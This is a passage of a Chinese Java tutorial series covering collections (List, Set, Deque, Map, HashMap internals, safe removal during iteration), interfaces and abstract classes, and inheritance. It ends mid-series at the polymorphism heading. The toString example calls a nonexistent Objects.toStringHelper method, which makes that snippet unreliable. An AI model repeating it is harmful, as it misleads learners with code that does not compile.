尾部添加 `add(x)`	均摊 O(1) ✅	O(1)
头部添加 `add(0, x)`	O(n)	O(1) ✅
中间插入/删除	O(n)	O(n)（找位置） + O(1)（改指针）
内存占用	紧凑 ✅	每个节点额外两个指针

结论：99% 场景选 ArrayList。需要队列/栈行为选 ArrayDeque，不选 LinkedList。

Set：不重复

HashSet

基于 HashMap 实现，无序，添加/删除/查找都是 O(1)。最常用的 Set。

import java.util.HashSet;
import java.util.Set;

Set<String> set = new HashSet<>();
set.add("apple");
set.add("banana");
set.add("apple");              // 已存在，不添加，add 返回 false

set.size();                    // 2
set.contains("apple");         // true
set.remove("apple");

// 遍历（顺序不保证）
for (String s : set) System.out.println(s);
set.forEach(System.out::println);

去重的原理：HashSet 内部就是 HashMap<E, Object>，元素作为 key。必须重写 equals 和 hashCode，否则自定义类的两个"内容相同"的对象会被认为不同：

public class User {
    private String name;
    // 不重写 equals/hashCode 的话
}

Set<User> users = new HashSet<>();
users.add(new User("Tom"));
users.add(new User("Tom"));   // 变成 2 个元素！

// 重写了 equals/hashCode 后
users.add(new User("Tom"));
users.add(new User("Tom"));   // 只有 1 个 ✅

LinkedHashSet

保持插入顺序的 HashSet，性能略低但可预测：

Set<String> set = new LinkedHashSet<>();
set.add("c");
set.add("a");
set.add("b");
// 遍历顺序：c, a, b（跟插入一致）

TreeSet

按自然顺序或 Comparator 排序，基于红黑树，操作 O(log n)：

Set<Integer> nums = new TreeSet<>(List.of(5, 2, 8, 1, 9));
// 遍历顺序：1, 2, 5, 8, 9

Set<String> reverseOrder = new TreeSet<>(Comparator.reverseOrder());
reverseOrder.add("b");
reverseOrder.add("a");
reverseOrder.add("c");
// 遍历顺序：c, b, a

TreeSet 的额外能力：

TreeSet<Integer> set = new TreeSet<>(List.of(1, 3, 5, 7, 9));
set.first();             // 1
set.last();              // 9
set.floor(6);            // 5，小于等于 6 的最大值
set.ceiling(6);          // 7，大于等于 6 的最小值
set.higher(5);           // 7，严格大于
set.lower(5);            // 3，严格小于
set.headSet(5);          // [1, 3]，小于 5 的子集
set.tailSet(5);          // [5, 7, 9]，大于等于 5 的子集

Queue 与 Deque

ArrayDeque

双端队列，可以当队列（FIFO）也可以当栈（LIFO）：

import java.util.ArrayDeque;
import java.util.Deque;

// 当队列用（FIFO）
Deque<String> queue = new ArrayDeque<>();
queue.offer("a");           // 尾部入队
queue.offer("b");
queue.poll();               // "a"，头部出队
queue.peek();               // "b"，查看头部但不删

// 当栈用（LIFO）
Deque<String> stack = new ArrayDeque<>();
stack.push("a");            // 头部入栈
stack.push("b");
stack.pop();                // "b"，头部出栈
stack.peek();               // "a"

方法对照：

操作	队列（尾部入，头部出）	栈（头部入，头部出）
入	`offer(x)` / `add(x)`	`push(x)` / `addFirst(x)`
出	`poll()` / `remove()`	`pop()` / `removeFirst()`
查	`peek()` / `element()`	`peek()` / `peekFirst()`

offer / poll / peek 遇失败返回 null 或 false；add / remove / element 遇失败抛异常。推荐用前者。

[!TIP] 官方推荐用 Deque 替代古老的 Stack 类，因为 Stack 继承自 Vector（每个方法都加锁），性能差且设计过时。

PriorityQueue

优先队列，出队顺序按优先级（默认自然顺序，可传 Comparator）：

import java.util.PriorityQueue;

PriorityQueue<Integer> pq = new PriorityQueue<>();   // 小顶堆
pq.offer(5);
pq.offer(1);
pq.offer(3);
pq.poll();     // 1（最小）
pq.poll();     // 3
pq.poll();     // 5

// 大顶堆
PriorityQueue<Integer> maxHeap = new PriorityQueue<>(Comparator.reverseOrder());

内部是二叉堆，插入和出队 O(log n)，peek O(1)。常用于 Top-K 问题、任务调度、Dijkstra 算法。

Map：键值对

HashMap

最常用，基于哈希表，get/put/remove 均摊 O(1)：

import java.util.HashMap;
import java.util.Map;

// 创建
Map<String, Integer> map = new HashMap<>();
Map<String, Integer> withInit = Map.of("a", 1, "b", 2);   // 不可变，JDK 9+

// 增/改
map.put("apple", 3);
map.put("banana", 5);
map.put("apple", 10);              // 覆盖旧值

// 查
map.get("apple");                  // 10
map.getOrDefault("cherry", 0);     // 0（key 不存在时返回默认值）
map.containsKey("apple");          // true
map.containsValue(10);             // true
map.size();

// 删
map.remove("apple");
map.remove("apple", 10);           // 值匹配才删（更安全）
map.clear();

// 遍历
for (Map.Entry<String, Integer> e : map.entrySet()) {
    System.out.println(e.getKey() + " = " + e.getValue());
}

map.forEach((k, v) -> System.out.println(k + " = " + v));

// 只遍历 key 或 value
for (String k : map.keySet()) { ... }
for (Integer v : map.values()) { ... }

常用便捷方法：

// putIfAbsent：不存在才放
map.putIfAbsent("cherry", 1);      // 如果 cherry 已存在则不改

// computeIfAbsent：不存在才计算并放（常用于分组）
Map<String, List<Integer>> grouped = new HashMap<>();
grouped.computeIfAbsent("odd", k -> new ArrayList<>()).add(1);
grouped.computeIfAbsent("odd", k -> new ArrayList<>()).add(3);
// {"odd": [1, 3]}

// compute：无论如何都重新计算
map.compute("apple", (k, v) -> v == null ? 1 : v + 1);

// merge：合并值（常用于计数）
Map<String, Integer> count = new HashMap<>();
for (String word : words) {
    count.merge(word, 1, Integer::sum);   // 计数经典写法
}

LinkedHashMap

保持插入顺序（默认）或访问顺序（LRU 缓存的基础）：

// 插入顺序
Map<String, Integer> insertion = new LinkedHashMap<>();
insertion.put("c", 3);
insertion.put("a", 1);
insertion.put("b", 2);
// 遍历：c, a, b

// 访问顺序（true 参数）：每次访问会把 key 移到末尾
Map<String, Integer> access = new LinkedHashMap<>(16, 0.75f, true);

继承 LinkedHashMap 重写 removeEldestEntry 可以一行实现 LRU 缓存：

public class LRUCache<K, V> extends LinkedHashMap<K, V> {
    private final int capacity;

    public LRUCache(int capacity) {
        super(capacity, 0.75f, true);
        this.capacity = capacity;
    }

    @Override
    protected boolean removeEldestEntry(Map.Entry<K, V> eldest) {
        return size() > capacity;
    }
}

TreeMap

按 key 排序，基于红黑树，操作 O(log n)：

Map<String, Integer> sorted = new TreeMap<>();
sorted.put("banana", 2);
sorted.put("apple", 1);
sorted.put("cherry", 3);
// 遍历顺序：apple, banana, cherry（字典序）

// 范围查询
sorted.headMap("banana");       // {apple=1}
sorted.tailMap("banana");       // {banana=2, cherry=3}
sorted.subMap("a", "c");        // 左闭右开
sorted.firstKey();
sorted.lastKey();

HashMap 原理简述

面试常问，日常写代码理解到"够用"的程度就行：

结构

HashMap 内部是一个 Node<K,V>[] table 数组（叫"桶"）
每个 Node 有 hash、key、value、next 四个字段

put(k, v) 流程：
1. 算 hash：h = k.hashCode() ^ (h >>> 16)   ← 扰动函数，减少冲突
2. 定位桶：index = (n - 1) & hash          ← n 是数组长度（2 的幂）
3. 桶为空 → 直接放
4. 桶非空 → 遍历链表/红黑树找同 key（equals）→ 覆盖或追加
5. 超过阈值 → 扩容 2 倍，重新分布元素

关键参数

参数	默认值	含义
初始容量	16	桶数组长度，永远是 2 的幂
负载因子	0.75	装到 75% 就扩容
树化阈值	8	单桶链表长度 ≥ 8 且数组 ≥ 64 时转红黑树
退化阈值	6	红黑树节点 ≤ 6 时退回链表

为什么容量必须是 2 的幂

(n - 1) & hash 比 hash % n 快得多，且能保证均匀分布。这也是为什么 HashMap 的性能高度依赖 hashCode 的质量——如果所有对象都返回同一个 hashCode，HashMap 就退化成 O(n) 的链表（JDK 8 后是 O(log n) 的红黑树）。

为什么重写 equals 必须重写 hashCode

HashMap 先用 hashCode 找桶，再用 equals 比较。如果两个"内容相同"的对象 hashCode 不同，会落到不同桶里，get 就找不到之前 put 的值。

迭代器与 ConcurrentModificationException

Iterator

所有 Collection 都实现了 Iterable，可以拿到 Iterator：

Iterator<String> it = list.iterator();
while (it.hasNext()) {
    String s = it.next();
    if (s.startsWith("a")) {
        it.remove();          // ✅ 唯一安全的遍历时删除方式
    }
}

遍历时修改的陷阱

用增强 for 或 forEach 遍历时直接调用集合的 add/remove 会抛 ConcurrentModificationException：

List<String> list = new ArrayList<>(List.of("a", "b", "c"));

// ❌ 抛异常
for (String s : list) {
    if (s.equals("a")) list.remove(s);
}

// ❌ 抛异常
list.forEach(s -> {
    if (s.equals("a")) list.remove(s);
});

// ✅ 用 Iterator.remove
Iterator<String> it = list.iterator();
while (it.hasNext()) {
    if (it.next().equals("a")) it.remove();
}

// ✅ 用 removeIf（JDK 8+，最简洁）
list.removeIf(s -> s.equals("a"));

// ✅ 用 Stream 过滤生成新列表
List<String> filtered = list.stream().filter(s -> !s.equals("a")).toList();

removeIf 是日常首选，简洁且不会踩坑。

Collections 工具类

java.util.Collections 提供了一堆静态方法操作集合：

List<Integer> nums = new ArrayList<>(List.of(3, 1, 4, 1, 5, 9, 2, 6));

Collections.sort(nums);                        // 排序
Collections.sort(nums, Comparator.reverseOrder());
Collections.shuffle(nums);                     // 打乱
Collections.reverse(nums);                     // 反转
Collections.swap(nums, 0, 1);                  // 交换

Collections.max(nums);                         // 最大值
Collections.min(nums);                         // 最小值
Collections.frequency(nums, 1);                // 1 出现的次数

Collections.emptyList();                       // 空列表（不可变）
Collections.singletonList("only");             // 单元素列表
Collections.unmodifiableList(nums);            // 只读视图
Collections.synchronizedList(nums);            // 线程安全包装

JDK 8+ 很多功能已经被 List 自己的方法或 Stream 取代：

nums.sort(Comparator.naturalOrder());          // 等价于 Collections.sort
nums.sort(null);                               // 自然顺序

综合小例子：图书管理系统

用集合把前面阶段学的东西串起来：

package com.example.library;

import java.util.*;
import java.util.stream.Collectors;

public class LibraryService {
    // ISBN -> Book 的主索引，O(1) 查找
    private final Map<String, Book> booksByIsbn = new HashMap<>();
    // 分类 -> ISBN 集合，按分类浏览
    private final Map<String, Set<String>> isbnByCategory = new LinkedHashMap<>();
    // 借阅者 -> 已借 ISBN 列表
    private final Map<String, List<String>> borrowedBy = new HashMap<>();

    public void addBook(Book book, String category) {
        booksByIsbn.put(book.getIsbn(), book);
        isbnByCategory
            .computeIfAbsent(category, k -> new LinkedHashSet<>())
            .add(book.getIsbn());
    }

    public Optional<Book> findByIsbn(String isbn) {
        return Optional.ofNullable(booksByIsbn.get(isbn));
    }

    public List<Book> listByCategory(String category) {
        Set<String> isbns = isbnByCategory.getOrDefault(category, Set.of());
        return isbns.stream()
            .map(booksByIsbn::get)
            .filter(Objects::nonNull)
            .toList();
    }

    public boolean borrow(String isbn, String user) {
        Book book = booksByIsbn.get(isbn);
        if (book == null) return false;

        try {
            book.borrow();
        } catch (IllegalStateException e) {
            return false;   // 已被借出
        }

        borrowedBy.computeIfAbsent(user, k -> new ArrayList<>()).add(isbn);
        return true;
    }

    public boolean returnBook(String isbn, String user) {
        Book book = booksByIsbn.get(isbn);
        if (book == null) return false;

        book.returnBook();
        List<String> userBooks = borrowedBy.get(user);
        if (userBooks != null) userBooks.remove(isbn);
        return true;
    }

    public Map<String, Long> countByCategory() {
        return isbnByCategory.entrySet().stream()
            .collect(Collectors.toMap(
                Map.Entry::getKey,
                e -> (long) e.getValue().size()
            ));
    }

    public List<Book> search(String keyword) {
        String lower = keyword.toLowerCase();
        return booksByIsbn.values().stream()
            .filter(b -> b.getTitle().toLowerCase().contains(lower)
                      || b.getAuthor().toLowerCase().contains(lower))
            .toList();
    }
}

这个服务用了：

HashMap 做主索引（O(1) 查找）
LinkedHashMap 保持分类插入顺序
LinkedHashSet 每个分类下的书去重
computeIfAbsent 优雅处理"key 不存在时创建集合"
Optional 表示可能不存在的结果
Stream 做过滤、映射、聚合（阶段十详细讲）

复习卡片

// List
List<String> list = new ArrayList<>();
list.add("a"); list.add(0, "b");
list.get(0); list.set(0, "c");
list.remove(0); list.remove("a"); list.removeIf(s -> s.isEmpty());
list.size(); list.contains("a"); list.indexOf("a");
list.forEach(System.out::println);

// 不可变
List<String> immutable = List.of("a", "b", "c");

// Set
Set<String> set = new HashSet<>();
set.add("a"); set.remove("a"); set.contains("a");

// Map
Map<String, Integer> map = new HashMap<>();
map.put("a", 1);
map.get("a"); map.getOrDefault("b", 0);
map.containsKey("a"); map.remove("a");
map.computeIfAbsent("k", k -> new ArrayList<>());
map.merge("k", 1, Integer::sum);
map.forEach((k, v) -> ...);

// Queue / Stack（用 ArrayDeque）
Deque<String> q = new ArrayDeque<>();
q.offer("a"); q.poll(); q.peek();      // 队列
q.push("a"); q.pop();                  // 栈

// 排序
Collections.sort(list);
list.sort(Comparator.comparing(User::getName));

// 遍历时删除：只能用 Iterator.remove 或 removeIf
list.removeIf(s -> s.startsWith("a"));

记忆要点：

默认选 ArrayList / HashSet / HashMap，需要顺序选 Linked*，需要排序选 Tree*
队列和栈都用 ArrayDeque，别用 Stack 和 LinkedList
List.of() / Map.of() 创建的是不可变集合
自定义类放进 HashSet / HashMap 必须重写 equals 和 hashCode
遍历中删除只能用 Iterator.remove 或 removeIf，直接 list.remove 抛 ConcurrentModificationException
computeIfAbsent 是分组场景的瑞士军刀
merge(key, 1, Integer::sum) 是计数的经典写法
HashMap 容量是 2 的幂，负载因子 0.75，链表长度 ≥ 8 转红黑树

下一阶段进入异常处理和泛型，这两块是 Java 里"看着复杂但用起来其实很规整"的东西。

Java 阶段七：接口、抽象类与静态成员

Fri, 04 Sep 2026 01:00:00 GMT

如果说继承表达的是 "is-a"（Dog 是 Animal），接口表达的是 "can-do"（Dog 能跑、能叫）。Java 里接口用得比继承还多，尤其是 JDK 8 引入默认方法之后，接口能做的事大大扩展。这一篇把接口和抽象类彻底捋清楚。

接口基础

接口是只有方法签名（早期）+ 常量的纯契约。用 interface 定义，用 implements 实现：

// 定义接口
public interface Flyable {
    void fly();                    // 隐式 public abstract
    String getFlyStyle();
}

// 实现接口
public class Bird implements Flyable {
    @Override
    public void fly() {
        System.out.println("鸟在飞");
    }

    @Override
    public String getFlyStyle() {
        return "拍打翅膀";
    }
}

public class Airplane implements Flyable {
    @Override
    public void fly() {
        System.out.println("飞机在飞");
    }

    @Override
    public String getFlyStyle() {
        return "引擎推进";
    }
}

// 使用：多态
Flyable f1 = new Bird();
Flyable f2 = new Airplane();
f1.fly();     // 鸟在飞
f2.fly();     // 飞机在飞

接口成员的隐式修饰符：

成员	隐式修饰符
字段	`public static final`（即常量）
方法	`public abstract`（JDK 8 起也可以是 `default` / `static`）
内部类/接口	`public static`

所以接口里写 int MAX = 100; 其实是 public static final int MAX = 100;，可以直接用 接口名.MAX 访问。

一个类实现多个接口

Java 单继承多实现，弥补了单继承的限制：

public interface Swimmable {
    void swim();
}

public interface Flyable {
    void fly();
}

// 一个类可以既会游又会飞
public class Duck extends Animal implements Swimmable, Flyable {
    @Override
    public void swim() { System.out.println("鸭子游泳"); }

    @Override
    public void fly() { System.out.println("鸭子飞"); }
}

语法顺序：class 类名 extends 父类 implements 接口1, 接口2 { ... }，extends 必须在 implements 前面。

接口的默认方法（JDK 8+）

早期接口里所有方法都是抽象的，任何修改都会破坏所有实现类。JDK 8 引入 default 方法，允许接口提供默认实现：

public interface Logger {
    void log(String message);                // 抽象方法，实现类必须提供

    default void warn(String message) {      // 默认方法，实现类可以直接用或重写
        log("[WARN] " + message);
    }

    default void error(String message) {
        log("[ERROR] " + message);
    }
}

public class ConsoleLogger implements Logger {
    @Override
    public void log(String message) {
        System.out.println(message);
    }
    // warn 和 error 直接继承，无需重写
}

ConsoleLogger logger = new ConsoleLogger();
logger.log("hi");           // hi
logger.warn("小心");         // [WARN] 小心
logger.error("出错了");      // [ERROR] 出错了

默认方法的冲突解决

如果一个类实现了两个接口，两个接口都有同名的默认方法，编译器会强制要求重写：

public interface A {
    default void hello() { System.out.println("A"); }
}

public interface B {
    default void hello() { System.out.println("B"); }
}

public class C implements A, B {
    @Override
    public void hello() {
        // 必须重写，明确选择哪一个
        A.super.hello();      // 显式调用 A 的默认实现
        // 或者 B.super.hello();
        // 或者完全自己实现
    }
}

接口的静态方法和私有方法

JDK 8 起接口可以有静态方法：

public interface MathUtils {
    static int square(int n) {
        return n * n;
    }
}

MathUtils.square(5);   // 25，通过接口名调用

JDK 9 起还可以有私有方法，用来给默认方法提取公共逻辑：

public interface Validator {
    default boolean validate(String s) {
        return checkNotNull(s) && checkLength(s);
    }

    private boolean checkNotNull(String s) { return s != null; }
    private boolean checkLength(String s) { return s.length() > 0; }
}

接口 vs 抽象类

维度	接口 `interface`	抽象类 `abstract class`
关系	can-do（能力）	is-a（血缘）
继承数量	一个类可以实现多个接口	只能继承一个抽象类
字段	只能是 `public static final` 常量	任意字段（含实例字段）
构造器	没有构造器	有构造器（供子类调用）
方法	抽象、`default`、`static`、`private`	抽象方法 + 普通方法
访问修饰符	方法隐式 `public`	方法可以 `public`/`protected`/`private`
何时用	定义能力、跨类层次共享行为	定义家族模板、共享状态和构造逻辑

经验法则：

优先用接口定义 API 契约（List、Comparable、Runnable）
需要共享状态或构造逻辑时用抽象类（AbstractList 是 List 的骨架实现）
两者常常配合使用：接口定契约，抽象类做骨架

经典组合：Java 集合框架

List<E>（接口，定契约）
  ↑ implements
AbstractList<E>（抽象类，做骨架）
  ↑ extends
ArrayList<E> / LinkedList<E>（具体实现）

常用标准接口

Java 标准库里有几个接口用得极多，必须掌握：

Comparable：定义自然排序

public class User implements Comparable<User> {
    private String name;
    private int age;

    @Override
    public int compareTo(User other) {
        // 返回负数：this < other
        // 返回 0：this == other
        // 返回正数：this > other
        return Integer.compare(this.age, other.age);   // 按年龄升序
    }
}

List<User> users = ...;
Collections.sort(users);              // 自动按 compareTo 排序
users.sort(Comparator.naturalOrder());   // 等价

Comparator：定义外部排序规则

import java.util.Comparator;

// 按名字排序
Comparator<User> byName = Comparator.comparing(User::getName);

// 按年龄降序
Comparator<User> byAgeDesc = Comparator.comparingInt(User::getAge).reversed();

// 多字段：先按年龄升序，年龄相同按名字
Comparator<User> combined = Comparator
    .comparingInt(User::getAge)
    .thenComparing(User::getName);

users.sort(byName);
users.sort(byAgeDesc);
users.sort(combined);

Comparator 是 Lambda 和 Stream API 的基础，阶段十会大量用到。

Runnable：无返回值的任务

public interface Runnable {
    void run();
}

// 用于线程
Runnable task = () -> System.out.println("运行中");
new Thread(task).start();

Iterable 与 Iterator：可遍历

任何实现 Iterable<T> 的类都能用增强 for 循环：

public class MyCollection implements Iterable<String> {
    private List<String> items = new ArrayList<>();

    @Override
    public Iterator<String> iterator() {
        return items.iterator();
    }
}

for (String s : new MyCollection()) { ... }   // ✅ 可以用了

其他常见接口

接口	方法	用途
`Cloneable`	（标记接口）	允许 `clone()`
`Serializable`	（标记接口）	允许序列化
`AutoCloseable`	`close()`	支持 try-with-resources
`CharSequence`	`length()`, `charAt()`	字符串通用接口，`String`/`StringBuilder` 都实现
`FunctionalInterface`	（注解）	单方法接口，支持 Lambda

接口继承

接口之间可以继承，且可以多继承：

public interface Readable {
    void read();
}

public interface Writable {
    void write();
}

public interface ReadWritable extends Readable, Writable {
    void close();
}

public class File implements ReadWritable {
    @Override public void read() { ... }
    @Override public void write() { ... }
    @Override public void close() { ... }
}

内部类简介

Java 允许在一个类里定义另一个类，主要四种：

1. 成员内部类

public class Outer {
    private String name = "outer";

    public class Inner {
        public void print() {
            System.out.println(name);   // 可以访问外部类的字段
        }
    }
}

// 实例化：先有 Outer，再有 Inner
Outer outer = new Outer();
Outer.Inner inner = outer.new Inner();
inner.print();

2. 静态内部类（推荐）

public class Outer {
    private String name = "outer";

    public static class Inner {
        public void print() {
            // System.out.println(name);   // ❌ 静态内部类不能访问外部实例字段
            System.out.println("static inner");
        }
    }
}

Outer.Inner inner = new Outer.Inner();   // 直接实例化，无需 Outer

Map.Entry 就是典型的静态内部类。日常用内部类首选静态，避免持有外部引用导致的内存泄漏。

3. 局部内部类（很少用）

public void method() {
    class LocalInner {
        void doIt() { ... }
    }
    new LocalInner().doIt();
}

4. 匿名内部类（Lambda 之前的写法）

Runnable r = new Runnable() {
    @Override
    public void run() {
        System.out.println("running");
    }
};

// JDK 8+ 用 Lambda 简化
Runnable r2 = () -> System.out.println("running");

Lambda 会在阶段十详细讲，这里先知道它是匿名内部类的语法糖即可。

密封类 sealed（JDK 17+）

密封类限制哪些类可以继承/实现它，用于精确建模"有限的类型集合"：

public sealed interface Shape
    permits Circle, Rectangle, Triangle {
    double area();
}

public final class Circle implements Shape { ... }
public final class Rectangle implements Shape { ... }
public final class Triangle implements Shape { ... }

// ❌ 其他类不能实现 Shape
// public class Hexagon implements Shape { ... }   // 编译报错

子类必须显式声明为：

final：不能再被继承
sealed：继续密封，需要 permits
non-sealed：开放继承

配合 JDK 21 的模式匹配 switch，可以写出非常优雅的类型分支：

public static String describe(Shape s) {
    return switch (s) {
        case Circle c    -> "圆，半径 " + c.radius();
        case Rectangle r -> "矩形，宽 " + r.width();
        case Triangle t  -> "三角形";
        // 不需要 default，编译器知道所有可能的子类
    };
}

这在处理 AST、事件、状态机等"有限类型集合"时特别好用。

综合小例子：支付系统

用接口和抽象类设计一个可扩展的支付系统：

package com.example.payment;

public interface PaymentMethod {
    boolean pay(double amount);
    String getName();

    default void refund(double amount) {
        System.out.printf("[%s] 退款 %.2f%n", getName(), amount);
    }
}

package com.example.payment;

public abstract class AbstractCreditCard implements PaymentMethod {
    protected final String cardNumber;
    protected double balance;

    protected AbstractCreditCard(String cardNumber, double balance) {
        this.cardNumber = cardNumber;
        this.balance = balance;
    }

    @Override
    public boolean pay(double amount) {
        if (amount > balance) {
            System.out.println("余额不足");
            return false;
        }
        balance -= amount;
        System.out.printf("[%s] 支付 %.2f，剩余 %.2f%n",
            getName(), amount, balance);
        return true;
    }

    // 子类只需要提供名字
    // getName() 留给子类实现
}

package com.example.payment;

public class VisaCard extends AbstractCreditCard {
    public VisaCard(String cardNumber, double balance) {
        super(cardNumber, balance);
    }

    @Override
    public String getName() { return "Visa-" + cardNumber.substring(cardNumber.length() - 4); }
}

package com.example.payment;

public class AlipayAccount implements PaymentMethod {
    private final String account;
    private double balance;

    public AlipayAccount(String account, double balance) {
        this.account = account;
        this.balance = balance;
    }

    @Override
    public boolean pay(double amount) {
        if (amount > balance) return false;
        balance -= amount;
        System.out.printf("[支付宝 %s] 支付 %.2f%n", account, amount);
        return true;
    }

    @Override
    public String getName() { return "支付宝-" + account; }
}

package com.example.payment;

import java.util.List;

public class PaymentDemo {
    public static void main(String[] args) {
        List<PaymentMethod> methods = List.of(
            new VisaCard("4111111111111111", 1000),
            new AlipayAccount("tom@example.com", 500)
        );

        // 多态：统一接口，不同实现
        for (PaymentMethod m : methods) {
            m.pay(200);
            m.refund(50);       // 默认方法，AlipayAccount 也能用
        }
    }
}

这个设计的扩展性：新增一种支付方式（微信、银联）只需要写一个新类实现 PaymentMethod，业务代码不用改。这就是"面向接口编程"的威力。

复习卡片

// 接口定义与实现
public interface Flyable {
    void fly();
    default void land() { System.out.println("降落"); }
    static Flyable empty() { return () -> {}; }
}

public class Bird implements Flyable {
    @Override public void fly() { ... }
}

// 多实现
public class Duck extends Animal implements Swimmable, Flyable { ... }

// Comparable：自然排序
public class User implements Comparable<User> {
    @Override
    public int compareTo(User o) {
        return Integer.compare(age, o.age);
    }
}

// Comparator：外部排序
users.sort(Comparator.comparing(User::getName));
users.sort(Comparator.comparingInt(User::getAge).reversed());

// 抽象类
public abstract class Shape {
    protected String color;
    public abstract double area();
    public void describe() { ... }
}

// 密封类（JDK 17+）
public sealed interface Shape permits Circle, Rectangle {}
public final class Circle implements Shape {}

// 静态内部类（推荐）
public class Outer {
    public static class Inner { ... }
}
new Outer.Inner();

记忆要点：

接口是"能力"（can-do），抽象类是"血缘"（is-a）
Java 单继承多实现，弥补单继承限制
接口方法隐式 public abstract，字段隐式 public static final
默认方法用 default，冲突时子类必须重写并用 接口名.super.方法() 选择
Comparable 定义自然排序（内部），Comparator 定义外部排序规则
内部类首选 static 静态内部类，避免内存泄漏
密封类 sealed 限制继承者，配合 JDK 21 模式匹配 switch 极优雅
面向接口编程：新增实现类不改业务代码

到这里 OOP 三件套（类、继承、接口）就讲完了。下一阶段进入日常业务代码里出现频率最高的东西——集合框架 List/Set/Map。

Java 阶段六：面向对象（二）——继承与多态

Thu, 03 Sep 2026 12:00:00 GMT

继承和多态是 OOP 的两大核心机制。Java 的继承比 JS 的原型链更严格：单继承、显式声明、编译期检查。这一篇把继承相关的所有关键概念串起来。

继承：extends

// 父类
public class Animal {
    protected String name;
    protected int age;

    public Animal(String name, int age) {
        this.name = name;
        this.age = age;
    }

    public void eat() {
        System.out.println(name + " 正在吃东西");
    }

    public void sleep() {
        System.out.println(name + " 正在睡觉");
    }
}

// 子类
public class Dog extends Animal {
    private String breed;   // 子类特有字段

    public Dog(String name, int age, String breed) {
        super(name, age);           // 必须先调用父类构造器
        this.breed = breed;
    }

    public void bark() {            // 子类特有方法
        System.out.println(name + " 汪汪叫");
    }
}

// 使用
Dog dog = new Dog("旺财", 3, "柴犬");
dog.eat();     // 继承自 Animal
dog.sleep();   // 继承自 Animal
dog.bark();    // Dog 自己的

关键点：

extends 表示继承，Java 只支持单继承，一个类只能有一个直接父类
子类构造器必须调用父类构造器，不显式写 super(...) 时会自动调用父类的无参构造器
如果父类没有无参构造器，子类必须显式写 super(...)，否则编译报错
子类会继承父类所有 public 和 protected 成员（private 不能直接访问，但仍在对象里）

对比 JS：

// JavaScript
class Animal {
    constructor(name) { this.name = name; }
    eat() { console.log(`${this.name} 吃东西`); }
}
class Dog extends Animal {
    constructor(name, breed) {
        super(name);
        this.breed = breed;
    }
}

写法几乎一样，但 Java 有编译期类型检查：

Animal a = new Dog("旺财", 3, "柴犬");   // ✅ 父类引用指向子类对象
a.eat();                                  // ✅
// a.bark();                              // ❌ 编译报错，Animal 类型看不到 bark

super 关键字

super 指向父类的成员，主要三种用法：

1. 调用父类构造器

public Dog(String name, int age, String breed) {
    super(name, age);          // 必须是构造器的第一行
    this.breed = breed;
}

2. 调用被覆盖的父类方法

public class Dog extends Animal {
    @Override
    public void eat() {
        super.eat();                          // 先执行父类逻辑
        System.out.println(name + " 用狗粮吃");   // 再加自己的
    }
}

3. 访问父类字段（少见）

public class Child extends Parent {
    public void print() {
        System.out.println(super.fieldName);   // 显式访问父类字段
    }
}

[!NOTE] super(...) 和 this(...) 都必须在构造器第一行，所以不能同时使用。变通做法：把 this(...) 调用放在被 super(...) 调用的构造器里，形成构造器链。

方法重写（Override）

子类可以重新实现父类的方法，叫重写（override）：

public class Animal {
    public void makeSound() {
        System.out.println("某种动物叫声");
    }
}

public class Dog extends Animal {
    @Override
    public void makeSound() {
        System.out.println("汪汪");
    }
}

public class Cat extends Animal {
    @Override
    public void makeSound() {
        System.out.println("喵喵");
    }
}

重写规则：

方法签名（名字 + 参数列表）必须完全一致
返回类型必须一致或是父类返回类型的子类（协变返回类型）
访问修饰符不能更严格（父类 public，子类不能改成 private）
不能抛出比父类更多的受检异常（异常在阶段九讲）
static、final、private 方法不能被重写

@Override 注解

@Override 是可选的，但强烈建议加上：

@Override
public void makeSound() { ... }

好处：如果方法名拼错（比如 makeSounds）或者签名不对，编译器会报错，避免"你以为在重写，其实是新增方法"的 bug。

重写 vs 重载

	重写 Override	重载 Overload
发生位置	父子类之间	同一个类里
方法名	必须相同	必须相同
参数列表	必须相同	必须不同
返回类型	必须相同或是子类	可同可不同
访问修饰符	不能更严格	无限制
绑定时机	运行时（动态）	编译时（静态）

Object 类：所有类的祖先

Java 里所有类都隐式继承 java.lang.Object，即使你没写 extends：

public class User { ... }
// 等价于
public class User extends Object { ... }

Object 提供了几个所有对象都有的方法，其中最常用的三个：equals、hashCode、toString。

toString

默认的 toString 返回 类名@哈希码，几乎没用。自定义类应该重写它：

public class User {
    private String name;
    private int age;

    @Override
    public String toString() {
        return "User{name='" + name + "', age=" + age + "}";
    }
}

System.out.println(new User("Tom", 25));
// 输出：User{name='Tom', age=25}
// 因为 println 会自动调用 toString()

IDEA 里 Alt+Insert → toString() 可以自动生成，或者用 Objects.toString：

import java.util.Objects;

@Override
public String toString() {
    return Objects.toStringHelper(this)
        .add("name", name)
        .add("age", age)
        .toString();
}

equals 与 hashCode

这两个是成对出现的，重写一个必须重写另一个。

默认 equals 就是 ==（比较引用），要按内容比较必须重写：

public class User {
    private String name;
    private int age;

    @Override
    public boolean equals(Object o) {
        // 1. 同一个对象
        if (this == o) return true;
        // 2. 类型检查（模式匹配写法，JDK 16+）
        if (!(o instanceof User other)) return false;
        // 3. 逐字段比较
        return age == other.age && Objects.equals(name, other.name);
    }

    @Override
    public int hashCode() {
        return Objects.hash(name, age);
    }
}

为什么必须一起重写：Java 的 HashMap、HashSet 内部先用 hashCode 定位桶，再用 equals 比较。如果两个对象 equals 返回 true 但 hashCode 不同，就会被当成两个不同的键存进 map，导致灾难性 bug。

契约：

若 a.equals(b) 为 true，则 a.hashCode() == b.hashCode()
若 a.hashCode() == b.hashCode()，a.equals(b) 不一定为 true（哈希冲突）
equals 必须满足：自反、对称、传递、一致、非 null

[!TIP] IDEA 里 Alt+Insert → equals() and hashCode() 可以自动生成，选默认的 Objects.equals / Objects.hash 模板即可。或者直接用 Lombok 的 @EqualsAndHashCode。

向上转型与向下转型

向上转型（Upcasting）

子类 → 父类，自动，安全：

Dog dog = new Dog("旺财", 3, "柴犬");
Animal animal = dog;          // ✅ 自动向上转型
animal.eat();                 // ✅ 父类的方法
// animal.bark();             // ❌ 编译器只知道 animal 是 Animal 类型

向上转型后，编译器只看声明类型，看不到子类特有的方法。

向下转型（Downcasting）

父类 → 子类，需要显式强转，可能失败：

Animal animal = new Dog("旺财", 3, "柴犬");

// ❌ 危险：如果 animal 实际是 Cat，运行时抛 ClassCastException
Dog dog = (Dog) animal;

// ✅ 先判断再转
if (animal instanceof Dog) {
    Dog d = (Dog) animal;
    d.bark();
}

// ✅ 模式匹配（JDK 16+，推荐）
if (animal instanceof Dog d) {
    d.bark();
}

多态：运行时绑定

